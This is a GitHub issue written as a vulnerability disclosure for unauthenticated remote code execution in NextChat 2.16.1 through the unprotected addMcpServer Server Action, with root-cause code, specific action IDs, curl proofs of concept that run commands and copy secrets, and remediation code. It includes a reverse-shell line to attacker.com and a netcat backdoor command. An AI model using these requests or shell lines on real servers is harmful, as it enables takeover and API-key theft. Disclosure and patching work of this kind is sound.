New issue

Unauthenticated Remote Code Execution #6757

Open

August829 opened 2 weeks ago · edited by August829 Edits

CVE Report: Unauthenticated Remote Code Execution via MCP Server Action in NextChat

Executive Summary

A critical unauthenticated Remote Code Execution (RCE) vulnerability exists in NextChat (ChatGPT-Next-Web) version 2.16.1. The `addMcpServer` function in `app/mcp/actions.ts` is exposed as a Next.js Server Action without any authentication, authorization, or feature-flag gate. An unauthenticated remote attacker can send a single HTTP POST request to the application root with an attacker-controlled `command` and `args` payload, causing the server to spawn an arbitrary child process. This grants the attacker full operating system command execution as the server process user, enabling complete server compromise, exfiltration of all API keys and secrets, file system access, and lateral network movement.

The Server Action identifier is embedded in the publicly-served client-side JavaScript bundle, making discovery trivial. No authentication, access code, API key, or user interaction is required. The vulnerability functions regardless of whether the `ENABLE_MCP` environment variable is set.

Product Information

Field	Value
Product	NextChat (ChatGPT-Next-Web)
Vendor	ChatGPTNextWeb
Version Tested	2.16.1

Field	Value
Repository	https://github.com/ChatGPTNextWeb/ChatGPT-Next-Web
Component	`app/mcp/actions.ts` -- `addMcpServer` Server Action
Language	TypeScript (Next.js 14 App Router)
Build Mode	Standalone (`next build` with `BUILD_MODE=standalone`)

Vulnerability Classification

Field	Value
Vulnerability Type	Unauthenticated Remote Code Execution (RCE)
CWE-94	Improper Control of Generation of Code ('Code Injection')
CWE-306	Missing Authentication for Critical Function
CWE-78	Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
Attack Vector	Network (single HTTP POST request)
Authentication	None required
User Interaction	None required

CVSS 3.1 Score

Score: 9.8 (CRITICAL)

Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H`

Metric	Value	Justification
Attack Vector (AV)	Network	Exploitable via a single HTTP POST request from any network location
Attack Complexity (AC)	Low	Action ID is in the public client JavaScript bundle; no race conditions or special setup required
Privileges Required (PR)	None	Zero authentication -- no access code, no API key, no session, no cookie

Metric	Value	Justification
User Interaction (UI)	None	Fully automated; no victim action required
Scope (S)	Unchanged	Exploitation impacts the vulnerable server component directly
Confidentiality (C)	High	Full read access to file system and environment variables (API keys, secrets)
Integrity (I)	High	Full write access to file system; arbitrary command execution; config persistence on disk
Availability (A)	High	Ability to terminate processes, consume resources, or destroy data on the server

---

Affected Versions

Version	Status	Notes
2.16.1	Vulnerable	Confirmed via live reproduction
<= 2.16.x	Likely Vulnerable	Any version shipping the MCP Server Action module
Export/Static builds	Not Affected	Server Actions are disabled in static export mode

Affected deployment modes:

- Standalone mode (`yarn build` + `node server.js`) -- **vulnerable**
- Docker deployments -- **vulnerable**
- Vercel deployments -- **vulnerable** (Server Actions are supported)
- Static export mode (`yarn export`) -- **not affected** (Server Actions are not available)

Detailed Description

Overview

NextChat integrates a Model Context Protocol (MCP) subsystem that allows the application to manage external tool servers. The MCP management functions are implemented in `app/mcp/actions.ts`, which is marked with the `"use server"` directive on line 1. In the Next.js 14 App Router, this directive causes **every exported async function** in the file to be registered as a Server Action. Server Actions are callable via HTTP POST requests to the application root (`/`) by including a `Next-Action` header containing the action's unique identifier (a SHA-1 hash).

The critical function `addMcpServer` (line 164) accepts two parameters from the caller:

1. `clientId` (string) -- an arbitrary identifier for the MCP server
2. `config` (ServerConfig) -- an object containing `command`, `args`, optional `env`, and `status`

This function:

- Writes the attacker-controlled configuration to `app/mcp/mcp_config.json` on disk
- Calls `initializeSingleClient()`, which calls `createClient()` in `app/mcp/client.ts`
- `createClient()` instantiates a `StdioClientTransport` that **spawns a child process** using the attacker-supplied `command` and `args`
- The spawned process **inherits the complete** `process.env` of the server, including all API keys

Authentication Gap

The `addMcpServer` function contains **zero** authentication or authorization logic:

- No call to `auth()` or any session validation
- No access code verification
- No API key check
- No `isMcpEnabled()` guard -- the function executes regardless of whether `ENABLE_MCP` is set to `"true"` in the environment

While a separate `isMcpEnabled()` function exists in the same file (line 377), it is **never called** by `addMcpServer` or any of the other MCP Server Action functions.

Action ID Discoverability

The Server Action identifiers are deterministic SHA-1 hashes embedded in the compiled client-side JavaScript bundle. They are publicly accessible at paths like `/_next/static/chunks/app/page.js` or within `.next/server/app/page.js`. The confirmed action IDs for this build are:

Function	Action ID (SHA-1)
`addMcpServer`	`bf121c1ecf0d4134efe108324db2a952038b6c83`
`executeMcpAction`	`61792905af2dc98e069a058f6608b59f66d467b0`
`getMcpConfigFromFile`	`92c449a0851b2c5c032d6ed485576cd1cd2c5052`
`removeMcpServer`	`d108b7e5cd23f56259abd2ebaefa22ecc13dc9f8`
`initializeMcpSystem`	`df2cfc64f3d96ca7038f054064b5dd7ba33b622d`
`restartAllClients`	`13b9d4f096aa1e1c9e6acc99c800791195530ffc`

Root Cause Analysis

Vulnerable File: `app/mcp/actions.ts`

The `"use server"` directive on line 1 exposes all exported async functions as Server Actions:

```
"use server";  // Line 1 -- exposes ALL exported async functions as HTTP-callable Serve ti
import {
  createClient,
  executeRequest,
  listTools,
  removeClient,
} from "./client";
// ... imports omitted for brevity

const CONFIG_PATH = path.join(process.cwd(), "app/mcp/mcp_config.json");
const clientsMap = new Map<string, McpClientData>();
```

Vulnerable Function: `addMcpServer` (line 164)

```
// 添加服务器
export async function addMcpServer(clientId: string, config: ServerConfig) {
  // NO AUTHENTICATION CHECK
  // NO isMcpEnabled() CHECK
  try {
    const currentConfig = await getMcpConfigFromFile();
    const isNewServer = !(clientId in currentConfig.mcpServers);

    // 如果是新服务器，设置默认状态为 active
    if (isNewServer && !config.status) {
      config.status = "active";
    }

    const newConfig = {
      ...currentConfig,
      mcpServers: {
        ...currentConfig.mcpServers,
        [clientId]: config,       // Attacker-controlled config written to disk
      },
    };
    await updateMcpConfig(newConfig);  // Persists to mcp_config.json

    // 只有新服务器或状态为 active 的服务器才初始化
    if (isNewServer || config.status === "active") {
      await initializeSingleClient(clientId, config);  // Spawns attacker-controlled process
    }

    return newConfig;
  } catch (error) {
    logger.error(`Failed to add server [${clientId}]: ${error}`);
    throw error;
```

```
  }
}
```

Process Spawning: `app/mcp/client.ts` -- `createClient` (line 9)

```
export async function createClient(
  id: string,
  config: ServerConfig,
): Promise<Client> {
  logger.info(`Creating client for ${id}...`);

  const transport = new StdioClientTransport({
    command: config.command,   // ATTACKER-CONTROLLED command
    args: config.args,         // ATTACKER-CONTROLLED arguments
    env: {
      ...Object.fromEntries(
        Object.entries(process.env)         // FULL server process.env inherited
          .filter(([_, v]) => v !== undefined)
          .map(([k, v]) => [k, v as string]),
      ),
      ...(config.env || {}),               // Attacker can also inject env vars
    },
  });

  const client = new Client(
    {
      name: `nextchat-mcp-client-${id}`,
      version: "1.0.0",
    },
    {
      capabilities: {},
    },
  );
  await client.connect(transport);  // Spawns the child process
  return client;
}
```

Type Definition: `ServerConfig` (`app/mcp/types.ts`, line 113)

```
export interface ServerConfig {
  command: string;                    // OS command to execute
  args: string[];                     // Arguments passed to the command
  env?: Record<string, string>;       // Optional environment variables
  status?: "active" | "paused" | "error";
}
```

Unused Guard Function: `isMcpEnabled` (line 377)

```
export async function isMcpEnabled() {
  try {
    const serverConfig = getServerSideConfig();
    return serverConfig.enableMcp;  // reads ENABLE_MCP env var
  } catch (error) {
    logger.error(`Failed to check MCP status: ${error}`);
    return false;
  }
}
```

This function exists but is **never invoked** as a guard by any MCP action handler.

Source-to-Sink Data Flow

```
ATTACKER (unauthenticated, remote)
    |
    |  HTTP POST /
    |  Header: Next-Action: bf121c1ecf0d4134efe108324db2a952038b6c83
    |  Body: ["clientId", {"command":"/bin/sh","args":["-c","
<PAYLOAD>"],"status":"active"}]
    |
    v
[Next.js Server Action Router]
    |  Deserializes multipart form data
    |  Looks up action by ID -> addMcpServer
    |  No middleware, no auth check
    |
    v
addMcpServer(clientId, config)           <-- app/mcp/actions.ts:164
    |  1. Writes config to mcp_config.json (persistence)
    |  2. Calls initializeSingleClient(clientId, config)
    |
    v
initializeSingleClient(clientId, config) <-- app/mcp/actions.ts:102
    |  Calls createClient(clientId, serverConfig)
    |
    v
createClient(id, config)                 <-- app/mcp/client.ts:9
    |  new StdioClientTransport({
    |    command: config.command,         <-- ATTACKER-CONTROLLED
    |    args: config.args,               <-- ATTACKER-CONTROLLED
    |    env: { ...process.env, ...config.env }  <-- FULL ENV + ATTACKER ENV
    |  })
    |
    v
[StdioClientTransport.connect()]
    |  Calls child_process.spawn(command, args, { env })
    |
    v
[ARBITRARY OS COMMAND EXECUTION]         <-- SINK: Full RCE as server user
    |  - Inherits all API keys from process.env
```

```
     |  - Full filesystem read/write
     |  - Network access
     |  - Process control
```

Reproduction Steps

Environment: NextChat v2.16.1, built in standalone mode, running on `localhost:3003`.

Prerequisites

```
# Build and start NextChat
cd NextChat-2.16.1
yarn install && yarn build
PORT=3003 node server.js
```

PoC 1: Arbitrary File Creation (Confirm RCE)

This proof-of-concept creates a file on the server's filesystem, confirming that arbitrary OS commands are executed.

Request:

```
curl -X POST http://localhost:3003/ \
  -H "Accept: text/x-component" \
  -H "Next-Action: bf121c1ecf0d4134efe108324db2a952038b6c83" \
  -H "Content-Type: multipart/form-data; boundary=----boundary" \
  --data-raw $'------boundary\r\nContent-Disposition: form-data; name="1_$ACTION_ID_bf121c1ec
```

Server Response (HTTP 200):

```
0:["$@1",["development",null]]
1:{"mcpServers":{"rce-proof":{"command":"touch","args":["/tmp/nextchat-rce-
proof"],"status":"active"}}}
```

Verification:

```
$ ls -la /tmp/nextchat-rce-proof
-rw-r--r--  1 yubao  wheel  0 Apr 17 13:50 /tmp/nextchat-rce-proof
```

The file was created on the server, confirming command execution.

PoC 2: Shell Command Execution and Secret Exfiltration

This proof-of-concept executes a shell via `/bin/sh -c` to run `whoami` and exfiltrate the `.env.local` file containing API keys.

Request:

```
curl -X POST http://localhost:3003/ \
  -H "Accept: text/x-component" \
  -H "Next-Action: bf121c1ecf0d4134efe108324db2a952038b6c83" \
  -H "Content-Type: multipart/form-data; boundary=----boundary" \
  --data-raw $'------boundary\r\nContent-Disposition: form-data; name="1_$ACTION_ID_bf121c1ec
```

Verification:

```
$ cat /tmp/rce-whoami
yubao

$ cat /tmp/rce-env
OPENAI_API_KEY=sk-placeholder
CODE=test123
```

The attacker successfully:

1. Determined the server process user (`yubao`)
2. Exfiltrated the `.env.local` file containing the `OPENAI_API_KEY` and access `CODE`

PoC 3: Server-Side Confirmation of Config Persistence

The response to PoC 1 confirms that the attacker-controlled configuration was persisted to disk at `app/mcp/mcp_config.json`:

Server Response:

```
0:["$@1",["development",null]]
1:{"mcpServers":{"rce-proof":{"command":"touch","args":["/tmp/nextchat-rce-
proof"],"status":"active"}}}
```

Server Logs:

```
[MCP Actions] Initializing client [rce-test]...
[NextChat MCP Client] Creating client for rce-test...
```

Persisted Config (`app/mcp/mcp_config.json` after exploitation):

```
{
  "mcpServers": {
    "rce-proof": {
      "command": "touch",
      "args": ["/tmp/nextchat-rce-proof"],
      "status": "active"
    }
  }
}
```

This persistence means the malicious "MCP server" entry survives application restarts and will be re-executed if `initializeMcpSystem` or `restartAllClients` is called.

Impact Assessment

Immediate Impact

Impact Category	Severity	Description
Remote Code Execution	Critical	Full OS command execution as the server process user
Secret Exfiltration	Critical	All environment variables including `OPENAI_API_KEY`, `AZURE_API_KEY`, `GOOGLE_API_KEY`, `ANTHROPIC_API_KEY`, `STABILITY_API_KEY`, `CODE` (access password) are accessible
File System Access	Critical	Read/write any file accessible to the server process
Persistence	High	Malicious config is written to disk and survives restarts
Lateral Movement	High	Attacker can pivot to internal network services from the server

Attack Scenarios

1. **API Key Theft:** An attacker exfiltrates all LLM provider API keys (OpenAI, Azure, Google, Anthropic, Baidu, ByteDance, Alibaba, Moonshot, etc.) from environment variables, incurring potentially unlimited financial charges against the victim's accounts.

2. **Reverse Shell:** An attacker establishes a persistent reverse shell:

```
{"command":"/bin/sh","args":["-c","bash -i >& /dev/tcp/attacker.com/4444 0>&1"]}
```

3. **Cryptocurrency Mining:** An attacker deploys a cryptominer on the server.
4. **Data Destruction:** An attacker deletes application data, databases, or modifies the application to serve malicious content.
5. **Supply Chain Attack:** An attacker modifies the NextChat application code to inject backdoors or phishing pages served to all users.
6. **Persistent Backdoor:** The malicious MCP server entry persists in `mcp_config.json`. If the entry uses a command like `nc -l -p 9999 -e /bin/sh`, it will re-establish a backdoor every time the MCP system reinitializes.

Remediation Recommendations

1. Add Authentication to All MCP Server Actions (Critical -- Immediate)

Every exported function in `app/mcp/actions.ts` must verify that the caller is authenticated and authorized:

```
export async function addMcpServer(clientId: string, config: ServerConfig) {
  // Verify authentication
  const serverConfig = getServerSideConfig();
  if (!serverConfig.enableMcp) {
    throw new Error("MCP is not enabled");
  }

  // Verify access code or API key
  // (implement appropriate auth check for your deployment)

  // ... existing logic
}
```

2. Gate All MCP Actions Behind `isMcpEnabled()` (Critical -- Immediate)

The existing `isMcpEnabled()` function must be called at the top of every MCP action handler. Currently, it is defined but never invoked as a guard.

3. Implement a Command Allowlist (High -- Short Term)

Restrict the `command` field to a fixed set of safe executables:

```
const ALLOWED_COMMANDS = new Set(["npx", "node", "python", "python3", "uvx"]);

function validateServerConfig(config: ServerConfig): void {
  if (!ALLOWED_COMMANDS.has(config.command)) {
    throw new Error(`Command '${config.command}' is not in the allowlist`);
  }
```

```
  // Also validate args to prevent shell metacharacter injection
}
```

4. Do Not Inherit Full `process.env` (High -- Short Term)

The `createClient` function in `app/mcp/client.ts` passes the entire `process.env` to spawned child processes. This should be replaced with a minimal, explicitly defined set of environment variables:

```
const SAFE_ENV_KEYS = new Set(["PATH", "HOME", "NODE_ENV", "LANG"]);

const transport = new StdioClientTransport({
  command: config.command,
  args: config.args,
  env: {
    ...Object.fromEntries(
      Object.entries(process.env)
        .filter(([k, v]) => SAFE_ENV_KEYS.has(k) && v !== undefined)
        .map(([k, v]) => [k, v as string]),
    ),
    ...(config.env || {}),
  },
});
```

5. Use Explicit Route with Middleware (Medium -- Long Term)

Consider moving MCP management out of Server Actions and into an explicit API route (`app/api/mcp/route.ts`) with proper middleware for authentication, rate limiting, and input validation. Server Actions are designed for form submissions within an authenticated UI, not for security-critical administrative operations.

6. Remove Action IDs from Client Bundle (Medium -- Long Term)

MCP management actions should never be referenced in client-side code. If they must remain as Server Actions, ensure they are only imported in authenticated, server-rendered admin pages, not in the publicly accessible main page.

References

Reference	URL
NextChat Repository	https://github.com/ChatGPTNextWeb/ChatGPT-Next-Web
Next.js Server Actions Documentation	https://nextjs.org/docs/app/building-your-application/data-fetching/server-actions-and-mutations

Reference	URL
CWE-94: Improper Control of Generation of Code	https://cwe.mitre.org/data/definitions/94.html
CWE-306: Missing Authentication for Critical Function	https://cwe.mitre.org/data/definitions/306.html
CWE-78: OS Command Injection	https://cwe.mitre.org/data/definitions/78.html
CVSS 3.1 Calculator	https://www.first.org/cvss/calculator/3.1
Model Context Protocol SDK	https://github.com/modelcontextprotocol/typescript-sdk
StdioClientTransport (spawns child process)	https://github.com/modelcontextprotocol/typescript-sdk/blob/main/src/client/stdio.ts

---

Appendix: Environment Variables Exposed via `process.env` Inheritance

The following sensitive environment variables are declared in `app/config/server.ts` and are inherited by attacker-spawned child processes:

Variable	Description
`OPENAI_API_KEY`	OpenAI API key
`CODE`	NextChat access password
`AZURE_API_KEY`	Azure OpenAI API key
`GOOGLE_API_KEY`	Google AI API key
`ANTHROPIC_API_KEY`	Anthropic API key
`STABILITY_API_KEY`	Stability AI API key
`BAIDU_API_KEY`	Baidu AI API key
`BYTEDANCE_API_KEY`	ByteDance API key
`ALIBABA_API_KEY`	Alibaba Cloud AI API key
`MOONSHOT_API_KEY`	Moonshot AI API key
`XAI_API_KEY`	xAI API key

Variable	Description
`CHATGLM_API_KEY`	ChatGLM API key
`DEEPSEEK_API_KEY`	DeepSeek API key
`PROXY_URL`	Proxy URL (may reveal internal infra)

All of these are accessible to any child process spawned by `StdioClientTransport` through the full `process.env` inheritance in `app/mcp/client.ts`.

August829 changed the title ~~1~~ Unauthenticated Remote Code Execution 2 weeks ago

Metadata

Assignees

No one assigned

Labels

No labels

Type

No type

Projects

No projects

Milestone

No milestone

Relationships

None yet

Development

No branches or pull requests

Participants